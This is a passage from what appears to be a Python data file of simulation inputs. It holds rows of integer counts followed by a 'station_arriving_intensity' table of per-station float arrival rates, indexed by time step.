(10, 13, 9, 11, 12, 7, 9, 5, 9, 4, 1, 1, 0, 25, 13, 11, 11, 13, 3, 4, 3, 7, 3, 1, 0, 0), # 132
(10, 13, 9, 13, 8, 2, 3, 3, 4, 4, 4, 3, 0, 27, 13, 11, 11, 14, 6, 5, 3, 11, 2, 2, 0, 0), # 133
(22, 8, 17, 14, 13, 3, 9, 5, 9, 7, 4, 2, 0, 27, 13, 11, 9, 16, 5, 8, 1, 6, 1, 5, 2, 0), # 134
(16, 10, 11, 11, 15, 4, 4, 4, 4, 4, 1, 0, 0, 14, 15, 11, 4, 16, 11, 3, 5, 8, 4, 5, 4, 0), # 135
(22, 16, 14, 10, 13, 7, 3, 2, 4, 0, 1, 1, 0, 12, 15, 9, 9, 12, 9, 5, 3, 12, 5, 0, 0, 0), # 136
(17, 13, 10, 15, 14, 5, 3, 5, 9, 0, 2, 1, 0, 12, 16, 7, 9, 13, 3, 4, 4, 6, 3, 0, 0, 0), # 137
(21, 17, 13, 18, 14, 5, 6, 6, 6, 2, 3, 1, 0, 13, 14, 10, 8, 9, 3, 4, 2, 3, 7, 4, 1, 0), # 138
(13, 9, 17, 15, 15, 2, 7, 2, 6, 3, 1, 0, 0, 13, 11, 9, 8, 7, 5, 4, 2, 8, 3, 5, 2, 0), # 139
(18, 6, 11, 14, 7, 5, 8, 3, 7, 3, 4, 1, 0, 13, 13, 9, 8, 9, 9, 2, 3, 1, 4, 2, 1, 0), # 140
(16, 9, 9, 17, 8, 4, 7, 6, 5, 4, 2, 0, 0, 11, 12, 5, 8, 11, 6, 3, 5, 7, 2, 3, 0, 0), # 141
(16, 11, 5, 14, 15, 6, 5, 5, 7, 3, 3, 2, 0, 15, 20, 8, 5, 10, 7, 7, 1, 5, 9, 4, 0, 0), # 142
(16, 12, 20, 17, 11, 8, 8, 5, 7, 6, 2, 0, 0, 23, 13, 12, 5, 11, 8, 4, 4, 7, 6, 4, 0, 0), # 143
(18, 11, 15, 11, 12, 4, 5, 3, 11, 5, 3, 1, 0, 18, 9, 9, 8, 8, 8, 3, 5, 3, 4, 3, 0, 0), # 144
(17, 12, 16, 11, 9, 6, 6, 5, 5, 3, 1, 2, 0, 18, 14, 12, 6, 14, 8, 7, 5, 10, 6, 9, 0, 0), # 145
(21, 8, 13, 12, 16, 7, 4, 1, 7, 1, 0, 1, 0, 19, 9, 8, 7, 15, 13, 7, 4, 2, 3, 1, 2, 0), # 146
(15, 8, 15, 10, 15, 2, 5, 3, 9, 5, 2, 2, 0, 11, 10, 9, 5, 7, 10, 4, 2, 6, 3, 1, 1, 0), # 147
(17, 11, 9, 12, 14, 6, 4, 3, 10, 1, 0, 0, 0, 16, 6, 8, 9, 10, 7, 5, 2, 3, 2, 2, 0, 0), # 148
(18, 7, 16, 13, 10, 9, 2, 5, 9, 3, 0, 1, 0, 9, 18, 11, 7, 13, 5, 5, 2, 12, 7, 3, 2, 0), # 149
(13, 14, 10, 10, 9, 8, 1, 3, 3, 1, 1, 1, 0, 14, 12, 7, 8, 12, 7, 2, 5, 5, 6, 4, 1, 0), # 150
(17, 7, 19, 16, 10, 6, 4, 3, 3, 3, 2, 1, 0, 14, 7, 7, 9, 8, 4, 1, 2, 9, 4, 2, 0, 0), # 151
(12, 11, 14, 10, 12, 5, 7, 4, 9, 3, 2, 1, 0, 15, 6, 8, 7, 11, 5, 4, 4, 4, 2, 4, 0, 0), # 152
(17, 8, 17, 20, 15, 2, 4, 2, 6, 2, 1, 0, 0, 19, 10, 6, 9, 15, 3, 3, 6, 9, 6, 3, 1, 0), # 153
(19, 16, 14, 17, 12, 7, 6, 5, 4, 1, 2, 0, 0, 12, 18, 11, 7, 16, 5, 0, 4, 4, 3, 5, 1, 0), # 154
(6, 17, 18, 9, 5, 8, 2, 2, 4, 2, 0, 2, 0, 18, 8, 5, 3, 15, 4, 4, 6, 7, 2, 4, 0, 0), # 155
(10, 10, 12, 11, 6, 5, 2, 5, 6, 0, 3, 1, 0, 13, 15, 7, 6, 15, 7, 3, 6, 8, 4, 2, 2, 0), # 156
(15, 8, 7, 10, 16, 8, 2, 5, 5, 2, 1, 0, 0, 19, 11, 8, 4, 11, 8, 2, 2, 3, 3, 4, 0, 0), # 157
(9, 7, 7, 11, 11, 7, 6, 1, 5, 1, 0, 1, 0, 17, 14, 7, 4, 8, 3, 2, 5, 9, 4, 1, 0, 0), # 158
(10, 8, 12, 12, 11, 8, 6, 5, 7, 1, 0, 1, 0, 12, 10, 4, 6, 11, 4, 1, 0, 2, 0, 2, 1, 0), # 159
(14, 6, 10, 8, 4, 4, 3, 6, 3, 0, 1, 0, 0, 22, 10, 3, 6, 9, 3, 3, 5, 8, 5, 1, 0, 0), # 160
(5, 13, 11, 11, 8, 3, 8, 2, 7, 3, 1, 1, 0, 15, 11, 7, 11, 10, 5, 7, 2, 7, 6, 1, 2, 0), # 161
(12, 9, 15, 7, 15, 9, 4, 6, 5, 1, 1, 1, 0, 21, 7, 9, 6, 12, 4, 10, 3, 11, 2, 4, 1, 0), # 162
(15, 7, 12, 12, 7, 8, 7, 2, 3, 0, 2, 3, 0, 10, 9, 11, 4, 7, 4, 5, 5, 1, 4, 3, 2, 0), # 163
(12, 3, 16, 9, 11, 4, 2, 3, 5, 0, 0, 3, 0, 11, 7, 7, 8, 6, 3, 2, 3, 4, 2, 5, 0, 0), # 164
(11, 12, 7, 12, 14, 4, 5, 3, 7, 3, 1, 1, 0, 7, 11, 8, 3, 10, 6, 2, 2, 8, 5, 1, 3, 0), # 165
(13, 10, 12, 12, 14, 4, 4, 4, 9, 0, 2, 1, 0, 14, 17, 15, 3, 4, 3, 9, 3, 6, 4, 2, 1, 0), # 166
(22, 6, 5, 6, 12, 4, 2, 5, 8, 1, 0, 0, 0, 3, 8, 7, 3, 10, 4, 2, 4, 5, 2, 1, 0, 0), # 167
(11, 9, 13, 10, 10, 5, 5, 3, 6, 3, 1, 0, 0, 11, 16, 9, 4, 7, 9, 3, 1, 7, 4, 3, 2, 0), # 168
(1, 11, 15, 13, 12, 4, 5, 4, 6, 0, 0, 0, 0, 14, 6, 5, 6, 15, 3, 4, 9, 8, 4, 1, 0, 0), # 169
(12, 7, 9, 9, 10, 10, 3, 1, 6, 3, 0, 1, 0, 5, 8, 2, 5, 6, 6, 3, 3, 3, 3, 4, 0, 0), # 170
(9, 9, 9, 7, 17, 2, 4, 5, 4, 0, 0, 0, 0, 14, 6, 3, 5, 9, 6, 4, 1, 3, 1, 3, 3, 0), # 171
(9, 8, 10, 12, 5, 2, 4, 4, 5, 1, 2, 0, 0, 9, 7, 1, 4, 12, 7, 2, 2, 2, 4, 2, 0, 0), # 172
(13, 7, 9, 16, 6, 5, 0, 1, 3, 1, 0, 0, 0, 10, 7, 3, 7, 8, 6, 2, 2, 1, 3, 2, 0, 0), # 173
(6, 2, 14, 5, 9, 2, 1, 2, 3, 1, 1, 3, 0, 16, 9, 5, 8, 6, 7, 1, 1, 1, 5, 0, 1, 0), # 174
(7, 6, 10, 7, 6, 2, 5, 3, 3, 1, 0, 1, 0, 7, 8, 5, 3, 5, 3, 2, 1, 5, 1, 0, 0, 0), # 175
(6, 4, 7, 4, 6, 4, 2, 2, 1, 2, 0, 1, 0, 4, 9, 5, 4, 12, 2, 7, 3, 4, 2, 2, 0, 0), # 176
(6, 5, 6, 7, 1, 0, 3, 4, 3, 1, 1, 1, 0, 9, 5, 4, 7, 3, 2, 2, 1, 2, 1, 2, 3, 0), # 177
(6, 7, 6, 4, 4, 3, 1, 4, 4, 4, 0, 1, 0, 10, 4, 3, 5, 7, 2, 2, 1, 4, 5, 0, 1, 0), # 178
(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 179
)
station_arriving_intensity = (
(9.037558041069182, 9.9455194074477, 9.380309813302512, 11.18640199295418, 9.998434093697302, 5.64957887766721, 7.462864107673047, 8.375717111362961, 10.962178311902413, 7.124427027940266, 7.569477294994085, 8.816247140951113, 9.150984382641052), # 0
(9.637788873635953, 10.602109249460566, 9.999623864394273, 11.925259655897909, 10.660482607453627, 6.0227704512766005, 7.955044094274649, 8.927124701230275, 11.686041587399236, 7.59416524609887, 8.069573044721038, 9.398189989465838, 9.755624965391739), # 1
(10.236101416163518, 11.256093307603763, 10.616476113985344, 12.66117786839663, 11.320133352749538, 6.3944732061224006, 8.445273314329269, 9.476325446227955, 12.407016252379588, 8.062044795036982, 8.567681667797364, 9.9778187736955, 10.357856690777442), # 2
(10.830164027663812, 11.904876903485604, 11.228419564775738, 13.391237533557733, 11.974791016803424, 6.763213120653203, 8.93160655496632, 10.021142083490112, 13.122243289657968, 8.526208857167125, 9.061827141289289, 10.55283423287483, 10.955291051257605), # 3
(11.417645067148767, 12.545865358714394, 11.833007219465467, 14.112519554488625, 12.621860286833686, 7.127516173317602, 9.412098603315226, 10.559397350150848, 13.828863682048873, 8.984800614901822, 9.550033442263036, 11.120937106238575, 11.54553953929167), # 4
(11.996212893630318, 13.176463994898459, 12.427792080754532, 14.822104834296708, 13.258745850058704, 7.485908342564186, 9.884804246505404, 11.088913983344266, 14.524018412366805, 9.435963250653593, 10.030324547784838, 11.679828133021466, 12.126213647339089), # 5
(12.5635358661204, 13.794078133646101, 13.010327151342958, 15.517074276089375, 13.882852393696878, 7.836915606841555, 10.347778271666273, 11.60751472020448, 15.204848463426268, 9.877839946834966, 10.500724434920908, 12.227208052458254, 12.694924867859292), # 6
(13.117282343630944, 14.396113096565637, 13.578165433930742, 16.194508782974033, 14.491584604966597, 8.179063944598298, 10.799075465927253, 12.113022297865593, 15.868494818041759, 10.308573885858456, 10.959257080737483, 12.760777603783673, 13.249284693311735), # 7
(13.655120685173882, 14.979974205265378, 14.128859931217914, 16.85148925805807, 15.082347171086255, 8.510879334283002, 11.236750616417757, 12.603259453461705, 16.512098459027772, 10.726308250136594, 11.403946462300778, 13.278237526232465, 13.786904616155851), # 8
(14.174719249761154, 15.543066781353641, 14.659963645904467, 17.485096604448906, 15.652544779274237, 8.830887754344271, 11.658858510267216, 13.076048924126933, 17.132800369198815, 11.129186222081895, 11.83281655667702, 13.777288559039365, 14.305396128851092), # 9
(14.673746396404677, 16.082796146438728, 15.169029580690424, 18.092411725253918, 16.199582116748942, 9.137615183230693, 12.063453934605038, 13.52921344699538, 17.727741531369386, 11.515350984106886, 12.243891340932432, 14.255631441439114, 14.802370723856898), # 10
(15.149870484116411, 16.596567622128973, 15.653610738275788, 18.670515523580516, 16.72086387072876, 9.429587599390864, 12.44859167656065, 13.960575759201147, 18.294062928353988, 11.882945718624095, 12.635194792133248, 14.710966912666459, 15.2754398936327), # 11
(15.600759871908263, 17.081786530032655, 16.111260121360573, 19.216488902536103, 17.21379472843208, 9.705330981273365, 12.812326523263462, 14.367958597878339, 18.82890554296712, 12.23011360804603, 13.004750887345683, 15.140995711956123, 15.722215130637963), # 12
(16.02408291879218, 17.535858191758116, 16.539530732644792, 19.727412765228078, 17.675779377077284, 9.963371307326803, 13.152713261842901, 14.749184700161067, 19.329410358023278, 12.554997834785228, 13.350583603635965, 15.543418578542857, 16.140307927332124), # 13
(16.41750798378009, 17.95618792891366, 16.935975574828465, 20.20036801476383, 18.10422250388278, 10.202234555999762, 13.46780667942839, 15.102076803183444, 19.79271835633696, 12.855741581254202, 13.670716918070312, 15.915936251661408, 16.527329776174614), # 14
(16.77870342588394, 18.34018106310759, 17.298147650611575, 20.632435554250776, 18.496528796066954, 10.420446705740842, 13.755661563149326, 15.424457644079562, 20.215970520722674, 13.130488029865482, 13.963174807714955, 16.256249470546507, 16.880892169624886), # 15
(17.10533760411564, 18.685242915948237, 17.623599962694165, 21.02069628679629, 18.8501029408482, 10.616533734998628, 14.014332700135158, 15.71414995998353, 20.596307833994917, 13.377380363031593, 14.225981249636122, 16.56205897443289, 17.198606600142384), # 16
(17.395078877487137, 18.988778809043904, 17.909885513776235, 21.362231115507804, 19.162349625444907, 10.789021622221714, 14.24187487751528, 15.968976488029472, 20.930871278968173, 13.594561763165041, 14.457160220900038, 16.8310655025553, 17.47808456018655), # 17
(17.645595605010367, 19.248194064002895, 18.154557306557784, 21.654120943492703, 19.43067353707546, 10.936436345858706, 14.436342882419133, 16.18675996535147, 21.216801838456973, 13.780175412678366, 14.654735698572916, 17.060969794148487, 17.716937542216822), # 18
(17.85455614569726, 19.46089400243354, 18.355168343738843, 21.893446673858367, 19.65247936295826, 11.057303884358175, 14.59579150197611, 16.36532312908364, 21.4512404952758, 13.93236449398409, 14.81673165972098, 17.249472588447173, 17.912777038692653), # 19
(18.01962885855975, 19.624283945944132, 18.509271628019405, 22.077289209712237, 19.8251717903117, 11.150150216168733, 14.718275523315652, 16.50248871636009, 21.631328232239156, 14.049272189494726, 14.94117208141047, 17.394274624686105, 18.063214542073485), # 20
(18.13848210260976, 19.735769216143005, 18.614420162099496, 22.202729454161673, 19.94615550635416, 11.213501319738963, 14.801849733567167, 16.596079464314922, 21.754206032161537, 14.1290416816228, 15.026080940707608, 17.49307664210003, 18.165861544818743), # 21
(18.20878423685924, 19.792755134638462, 18.668166948679115, 22.266848310314106, 20.012835198304035, 11.245883173517461, 14.844568919860079, 16.643918110082247, 21.81701487785745, 14.169816152780836, 15.069482214678613, 17.54357937992368, 18.218329539387888), # 22
(18.23470805401675, 19.799502469135803, 18.674861728395065, 22.274875462962967, 20.029917700858675, 11.25, 14.84964720406681, 16.64908888888889, 21.824867222222224, 14.17462609053498, 15.074924466891131, 17.549815637860082, 18.225), # 23
(18.253822343461476, 19.79556666666667, 18.673766666666666, 22.273887500000004, 20.039593704506736, 11.25, 14.8468568627451, 16.6419, 21.823815, 14.17167111111111, 15.074324242424245, 17.548355555555556, 18.225), # 24
(18.272533014380844, 19.78780864197531, 18.671604938271606, 22.27193287037037, 20.049056902070106, 11.25, 14.841358024691358, 16.62777777777778, 21.82173611111111, 14.16585390946502, 15.073134118967452, 17.545473251028806, 18.225), # 25
(18.290838634286462, 19.776346913580248, 18.668406172839507, 22.269033796296295, 20.05830696315799, 11.25, 14.833236092955698, 16.60698888888889, 21.81865722222222, 14.157271275720165, 15.07136487093154, 17.54120823045268, 18.225), # 26
(18.308737770689945, 19.7613, 18.6642, 22.265212499999997, 20.067343557379587, 11.25, 14.822576470588237, 16.579800000000002, 21.814605, 14.146019999999998, 15.069027272727272, 17.535600000000002, 18.225), # 27
(18.3262289911029, 19.742786419753084, 18.659016049382718, 22.260491203703705, 20.076166354344124, 11.25, 14.809464560639071, 16.54647777777778, 21.809606111111112, 14.132196872427985, 15.066132098765433, 17.528688065843625, 18.225), # 28
(18.34331086303695, 19.720924691358025, 18.652883950617287, 22.25489212962963, 20.084775023660796, 11.25, 14.793985766158318, 16.507288888888887, 21.803687222222223, 14.115898683127574, 15.06269012345679, 17.520511934156378, 18.225), # 29
(18.359981954003697, 19.695833333333333, 18.645833333333332, 22.2484375, 20.093169234938827, 11.25, 14.776225490196078, 16.4625, 21.796875, 14.097222222222223, 15.058712121212121, 17.51111111111111, 18.225), # 30
(18.376240831514746, 19.667630864197534, 18.637893827160497, 22.241149537037035, 20.101348657787415, 11.25, 14.756269135802471, 16.412377777777778, 21.78919611111111, 14.07626427983539, 15.054208866442199, 17.500525102880662, 18.225), # 31
(18.392086063081717, 19.636435802469137, 18.629095061728393, 22.233050462962964, 20.10931296181577, 11.25, 14.734202106027599, 16.357188888888892, 21.780677222222224, 14.053121646090535, 15.0491911335578, 17.48879341563786, 18.225), # 32
(18.407516216216216, 19.602366666666665, 18.619466666666668, 22.2241625, 20.117061816633115, 11.25, 14.710109803921569, 16.2972, 21.771345, 14.027891111111112, 15.043669696969696, 17.475955555555554, 18.225), # 33
(18.422529858429858, 19.56554197530864, 18.609038271604938, 22.21450787037037, 20.12459489184864, 11.25, 14.684077632534496, 16.232677777777777, 21.761226111111114, 14.000669465020577, 15.037655331088663, 17.462051028806584, 18.225), # 34
(18.437125557234253, 19.52608024691358, 18.597839506172843, 22.204108796296293, 20.131911857071568, 11.25, 14.656190994916486, 16.163888888888888, 21.750347222222224, 13.971553497942386, 15.031158810325476, 17.447119341563788, 18.225), # 35
(18.45130188014101, 19.484099999999998, 18.5859, 22.192987499999997, 20.139012381911105, 11.25, 14.626535294117646, 16.0911, 21.738735, 13.94064, 15.024190909090908, 17.431200000000004, 18.225), # 36
(18.46505739466174, 19.43971975308642, 18.57324938271605, 22.181166203703704, 20.145896135976457, 11.25, 14.595195933188089, 16.014577777777777, 21.72641611111111, 13.908025761316873, 15.016762401795738, 17.414332510288066, 18.225), # 37
(18.47839066830806, 19.39305802469136, 18.559917283950615, 22.168667129629632, 20.152562788876843, 11.25, 14.562258315177923, 15.934588888888891, 21.713417222222223, 13.873807572016462, 15.00888406285073, 17.396556378600824, 18.225), # 38
(18.491300268591576, 19.34423333333333, 18.545933333333334, 22.1555125, 20.159012010221467, 11.25, 14.527807843137257, 15.8514, 21.699765000000003, 13.838082222222223, 15.000566666666668, 17.37791111111111, 18.225), # 39
(18.503784763023894, 19.293364197530863, 18.531327160493827, 22.14172453703704, 20.165243469619533, 11.25, 14.491929920116196, 15.765277777777781, 21.685486111111114, 13.800946502057615, 14.99182098765432, 17.358436213991773, 18.225), # 40
(18.51584271911663, 19.24056913580247, 18.51612839506173, 22.127325462962965, 20.171256836680264, 11.25, 14.454709949164851, 15.67648888888889, 21.67060722222222, 13.76249720164609, 14.982657800224468, 17.338171193415636, 18.225), # 41
(18.527472704381402, 19.18596666666667, 18.500366666666668, 22.112337500000002, 20.177051781012857, 11.25, 14.416233333333333, 15.5853, 21.655155000000004, 13.72283111111111, 14.97308787878788, 17.317155555555555, 18.225), # 42
(18.538673286329807, 19.12967530864198, 18.484071604938272, 22.096782870370372, 20.182627972226527, 11.25, 14.37658547567175, 15.491977777777779, 21.63915611111111, 13.682045020576133, 14.96312199775533, 17.295428806584365, 18.225), # 43
(18.54944303247347, 19.071813580246914, 18.467272839506176, 22.0806837962963, 20.18798507993048, 11.25, 14.335851779230211, 15.396788888888892, 21.62263722222222, 13.64023572016461, 14.952770931537597, 17.2730304526749, 18.225), # 44
(18.55978051032399, 19.0125, 18.45, 22.064062500000002, 20.193122773733933, 11.25, 14.294117647058824, 15.3, 21.605625, 13.597500000000002, 14.942045454545454, 17.25, 18.225), # 45
(18.569684287392985, 18.951853086419753, 18.432282716049382, 22.046941203703703, 20.198040723246088, 11.25, 14.251468482207699, 15.20187777777778, 21.588146111111108, 13.553934650205761, 14.930956341189674, 17.226376954732512, 18.225), # 46
(18.579152931192063, 18.88999135802469, 18.41415061728395, 22.02934212962963, 20.202738598076163, 11.25, 14.207989687726945, 15.102688888888888, 21.570227222222226, 13.50963646090535, 14.919514365881032, 17.20220082304527, 18.225), # 47
(18.588185009232834, 18.827033333333333, 18.395633333333333, 22.0112875, 20.20721606783336, 11.25, 14.163766666666668, 15.0027, 21.551895000000002, 13.464702222222222, 14.907730303030302, 17.177511111111112, 18.225), # 48
(18.596779089026917, 18.763097530864197, 18.376760493827163, 21.99279953703704, 20.211472802126895, 11.25, 14.118884822076978, 14.902177777777778, 21.53317611111111, 13.419228724279836, 14.895614927048262, 17.152347325102884, 18.225), # 49
(18.604933738085908, 18.698302469135808, 18.357561728395066, 21.973900462962963, 20.21550847056597, 11.25, 14.073429557007989, 14.801388888888889, 21.514097222222222, 13.373312757201646, 14.883179012345678, 17.126748971193418, 18.225), # 50
(18.61264752392144, 18.63276666666667, 18.338066666666666, 21.9546125, 20.219322742759797, 11.25, 14.027486274509805, 14.7006, 21.494685000000004, 13.32705111111111, 14.870433333333335, 17.10075555555556, 18.225), # 51
(18.619919014045102, 18.56660864197531, 18.318304938271606, 21.934957870370372, 20.222915288317584, 11.25, 13.981140377632535, 14.600077777777777, 21.47496611111111, 13.280540576131688, 14.857388664421999, 17.074406584362144, 18.225), # 52
(18.626746775968517, 18.49994691358025, 18.29830617283951, 21.914958796296297, 20.226285776848552, 11.25, 13.93447726942629, 14.50008888888889, 21.454967222222226, 13.233877942386831, 14.844055780022448, 17.04774156378601, 18.225), # 53
(18.63312937720329, 18.432900000000004, 18.2781, 21.8946375, 20.229433877961906, 11.25, 13.887582352941177, 14.400899999999998, 21.434715, 13.18716, 14.830445454545453, 17.0208, 18.225), # 54
(18.63906538526104, 18.365586419753086, 18.25771604938272, 21.874016203703704, 20.232359261266843, 11.25, 13.840541031227307, 14.302777777777777, 21.414236111111112, 13.140483539094651, 14.816568462401795, 16.993621399176956, 18.225), # 55
(18.64455336765337, 18.298124691358026, 18.237183950617286, 21.85311712962963, 20.235061596372585, 11.25, 13.793438707334786, 14.20598888888889, 21.393557222222224, 13.09394534979424, 14.802435578002246, 16.96624526748971, 18.225), # 56
(18.649591891891887, 18.230633333333333, 18.216533333333334, 21.8319625, 20.23754055288834, 11.25, 13.746360784313726, 14.110800000000001, 21.372705, 13.047642222222223, 14.788057575757577, 16.93871111111111, 18.225), # 57
(18.654179525488225, 18.163230864197534, 18.195793827160493, 21.810574537037034, 20.239795800423316, 11.25, 13.699392665214235, 14.017477777777778, 21.35170611111111, 13.001670946502058, 14.773445230078567, 16.91105843621399, 18.225), # 58
(18.658314835953966, 18.096035802469135, 18.174995061728396, 21.788975462962963, 20.24182700858672, 11.25, 13.65261975308642, 13.92628888888889, 21.330587222222224, 12.956128312757203, 14.758609315375981, 16.883326748971193, 18.225), # 59
(18.661996390800738, 18.02916666666667, 18.154166666666665, 21.767187500000002, 20.243633846987766, 11.25, 13.606127450980392, 13.8375, 21.309375000000003, 12.911111111111111, 14.743560606060607, 16.855555555555558, 18.225), # 60
(18.665222757540146, 17.962741975308646, 18.13333827160494, 21.74523287037037, 20.24521598523566, 11.25, 13.560001161946259, 13.751377777777778, 21.288096111111113, 12.866716131687244, 14.728309876543209, 16.82778436213992, 18.225), # 61
(18.66799250368381, 17.89688024691358, 18.112539506172844, 21.7231337962963, 20.246573092939624, 11.25, 13.514326289034132, 13.66818888888889, 21.266777222222224, 12.823040164609054, 14.712867901234567, 16.80005267489712, 18.225), # 62
(18.670304196743327, 17.831699999999998, 18.0918, 21.7009125, 20.24770483970884, 11.25, 13.469188235294117, 13.5882, 21.245445, 12.78018, 14.697245454545456, 16.7724, 18.225), # 63
(18.672156404230314, 17.767319753086422, 18.071149382716047, 21.678591203703704, 20.24861089515255, 11.25, 13.424672403776325, 13.511677777777779, 21.22412611111111, 12.738232427983538, 14.681453310886642, 16.7448658436214, 18.225), # 64
(18.67354769365639, 17.703858024691357, 18.05061728395062, 21.65619212962963, 20.24929092887994, 11.25, 13.380864197530865, 13.438888888888888, 21.202847222222225, 12.697294238683126, 14.665502244668913, 16.717489711934153, 18.225), # 65
(18.674476632533153, 17.641433333333335, 18.030233333333335, 21.6337375, 20.249744610500233, 11.25, 13.337849019607843, 13.3701, 21.181635000000004, 12.657462222222222, 14.649403030303029, 16.690311111111114, 18.225), # 66
(18.674941788372227, 17.580164197530863, 18.010027160493827, 21.611249537037036, 20.249971609622634, 11.25, 13.29571227305737, 13.30557777777778, 21.16051611111111, 12.618833168724281, 14.633166442199778, 16.6633695473251, 18.225), # 67
(18.674624906065485, 17.519847550776582, 17.989930709876543, 21.588555132850242, 20.249780319535223, 11.24979122085048, 13.254327350693364, 13.245018930041153, 21.13935812757202, 12.5813167949649, 14.616514779372677, 16.636554039419536, 18.22477527006173), # 68
(18.671655072463768, 17.458641935483872, 17.969379166666666, 21.564510326086953, 20.248039215686273, 11.248140740740741, 13.212482726423904, 13.185177777777778, 21.11723611111111, 12.543851503267971, 14.597753110047847, 16.608994152046783, 18.222994791666668), # 69
(18.665794417606012, 17.39626642771804, 17.948283179012343, 21.538956823671498, 20.244598765432098, 11.244890260631001, 13.169988242210465, 13.125514403292183, 21.09402520576132, 12.506255144032922, 14.576667995746943, 16.580560970327056, 18.219478202160495), # 70
(18.657125389157272, 17.332758303464754, 17.92665015432099, 21.51193230676329, 20.239502541757446, 11.240092455418381, 13.12686298717018, 13.066048559670783, 21.06975997942387, 12.46852864681675, 14.553337267410951, 16.551275286982886, 18.21427179783951), # 71
(18.64573043478261, 17.268154838709677, 17.9044875, 21.48347445652174, 20.23279411764706, 11.2338, 13.083126050420168, 13.0068, 21.044475000000002, 12.43067294117647, 14.527838755980863, 16.52115789473684, 18.207421875), # 72
(18.631692002147076, 17.20249330943847, 17.88180262345679, 21.45362095410628, 20.224517066085692, 11.226065569272976, 13.038796521077565, 12.947788477366256, 21.01820483539095, 12.392688956669087, 14.50025029239766, 16.490229586311454, 18.198974729938275), # 73
(18.61509253891573, 17.1358109916368, 17.858602932098762, 21.42240948067633, 20.214714960058096, 11.216941838134431, 12.9938934882595, 12.889033744855967, 20.990984053497943, 12.354577622851611, 14.470649707602341, 16.45851115442928, 18.18897665895062), # 74
(18.59601449275362, 17.06814516129032, 17.83489583333333, 21.389877717391304, 20.203431372549023, 11.206481481481482, 12.9484360410831, 12.830555555555556, 20.96284722222222, 12.316339869281046, 14.439114832535884, 16.426023391812866, 18.177473958333334), # 75
(18.57454031132582, 16.99953309438471, 17.8106887345679, 21.35606334541063, 20.19070987654321, 11.19473717421125, 12.902443268665492, 12.772373662551441, 20.93382890946502, 12.277976625514404, 14.405723498139285, 16.392787091184747, 18.164512924382716), # 76
(18.55075244229737, 16.93001206690562, 17.785989043209874, 21.32100404589372, 20.176594045025414, 11.18176159122085, 12.855934260123803, 12.714507818930043, 20.90396368312757, 12.239488821108692, 14.370553535353537, 16.358823045267492, 18.150139853395064), # 77
(18.524733333333334, 16.859619354838713, 17.760804166666667, 21.2847375, 20.16112745098039, 11.167607407407406, 12.808928104575164, 12.65697777777778, 20.87328611111111, 12.200877385620915, 14.333682775119618, 16.324152046783627, 18.134401041666667), # 78
(18.496565432098766, 16.788392234169656, 17.735141512345677, 21.24730138888889, 20.144353667392885, 11.152327297668037, 12.761443891136702, 12.59980329218107, 20.84183076131687, 12.162143248608086, 14.29518904837852, 16.28879488845571, 18.117342785493825), # 79
(18.466331186258724, 16.71636798088411, 17.70900848765432, 21.208733393719807, 20.126316267247642, 11.135973936899862, 12.713500708925546, 12.543004115226339, 20.809632201646092, 12.123287339627208, 14.255150186071239, 16.252772363006283, 18.09901138117284), # 80
(18.434113043478263, 16.643583870967742, 17.682412499999998, 21.169071195652176, 20.10705882352941, 11.118599999999999, 12.665117647058823, 12.486600000000001, 20.776725, 12.084310588235295, 14.213644019138757, 16.216105263157896, 18.079453124999997), # 81
(18.399993451422436, 16.570077180406216, 17.655360956790126, 21.12835247584541, 20.086624909222948, 11.10025816186557, 12.616313794653665, 12.430610699588478, 20.743143724279836, 12.045213923989348, 14.170748378522063, 16.178814381633096, 18.058714313271608), # 82
(18.364054857756308, 16.495885185185184, 17.6278612654321, 21.086614915458934, 20.065058097313, 11.08100109739369, 12.567108240827196, 12.37505596707819, 20.70892294238683, 12.00599827644638, 14.12654109516215, 16.14092051115443, 18.036841242283952), # 83
(18.326379710144927, 16.421045161290323, 17.599920833333332, 21.043896195652174, 20.042401960784314, 11.060881481481482, 12.517520074696545, 12.319955555555556, 20.674097222222223, 11.9666645751634, 14.0811, 16.102444444444444, 18.013880208333333), # 84
(18.287050456253354, 16.345594384707287, 17.571547067901232, 21.000233997584544, 20.01870007262164, 11.039951989026063, 12.467568385378843, 12.265329218106997, 20.63870113168724, 11.92721374969741, 14.034502923976609, 16.06340697422569, 17.989877507716052), # 85
(18.246149543746643, 16.269570131421744, 17.54274737654321, 20.955666002415462, 19.99399600580973, 11.018265294924555, 12.417272261991217, 12.21119670781893, 20.60276923868313, 11.887646729605423, 13.986827698032961, 16.02382889322071, 17.964879436728395), # 86
(18.203759420289852, 16.193009677419354, 17.513529166666665, 20.910229891304347, 19.968333333333337, 10.995874074074074, 12.366650793650793, 12.157577777777778, 20.566336111111116, 11.847964444444443, 13.938152153110048, 15.983730994152046, 17.938932291666667), # 87
(18.159962533548043, 16.11595029868578, 17.483899845679012, 20.86396334541063, 19.941755628177198, 10.972831001371743, 12.315723069474704, 12.104492181069958, 20.52943631687243, 11.808167823771482, 13.888554120148857, 15.943134069742257, 17.912082368827164), # 88
(18.11484133118626, 16.03842927120669, 17.453866820987656, 20.81690404589372, 19.91430646332607, 10.94918875171468, 12.264508178580074, 12.051959670781894, 20.492104423868312, 11.76825779714355, 13.838111430090379, 15.902058912713883, 17.884375964506173), # 89
(18.068478260869565, 15.960483870967742, 17.423437500000002, 20.769089673913047, 19.886029411764707, 10.925, 12.213025210084034, 12.0, 20.454375000000002, 11.728235294117647, 13.786901913875598, 15.860526315789475, 17.855859375), # 90
(18.020955770263015, 15.8821513739546, 17.392619290123456, 20.720557910628024, 19.85696804647785, 10.900317421124829, 12.161293253103711, 11.9486329218107, 20.41628261316873, 11.688101244250786, 13.735003402445509, 15.818557071691574, 17.826578896604936), # 91
(17.97235630703167, 15.80346905615293, 17.361419598765433, 20.671346437198068, 19.827165940450254, 10.875193689986283, 12.109331396756236, 11.897878189300412, 20.377861831275723, 11.647856577099976, 13.682493726741095, 15.776171973142736, 17.796580825617283), # 92
(17.92276231884058, 15.724474193548389, 17.329845833333334, 20.621492934782612, 19.796666666666667, 10.84968148148148, 12.057158730158731, 11.847755555555556, 20.339147222222223, 11.607502222222221, 13.62945071770335, 15.733391812865497, 17.76591145833333), # 93
(17.872256253354806, 15.645204062126643, 17.29790540123457, 20.571035084541062, 19.765513798111837, 10.823833470507545, 12.00479434242833, 11.798284773662553, 20.300173353909464, 11.567039109174534, 13.575952206273259, 15.690237383582414, 17.734617091049383), # 94
